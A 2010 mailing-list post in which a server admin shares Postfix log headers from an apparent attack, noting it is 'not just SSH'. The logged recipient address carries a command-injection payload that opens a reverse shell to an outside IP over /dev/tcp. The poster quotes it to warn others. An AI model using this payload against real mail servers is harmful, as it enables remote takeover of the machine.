[bitfolk] Security - not just SSH

Hello Folks, With all the talk about SSH security, it is also shocking to see the break-in attempts made on other services e.g. httpd and smtpd. The httpd are often mod_proxy or PHP/phpMyAdmin attempts (no PHP here), but an odd record in the Postfix log today was a little different : X-Original-To: "root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0 2>&0" Delivered-To: "root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0 2&gt;&amp;0&quot;(a)calliope.bitfolk Received: from bluedick (debian01.vservers.at [194.106.206.7]) by calliope (Postfix) with SMTP id F1B31DC001 for <"root+:|exec /bin/sh 0</dev/tcp/92.243.5.144/9991 1>&0 2>&0">; Wed, 17 Mar 2010 22:53:13 +0000 (GMT) Message-Id: <20100317225313.F1B31DC001@calliope> Date: Wed, 17 Mar 2010 22:53:13 +0000 (GMT) From: blue(a)dick.com To: undisclosed-recipients:; I assume some sort of attempt to break Postfix. This message was delivered to "root" mailbox (no content). Scary place the internet sometimes .... Cheers, -- Alastair Sherringham
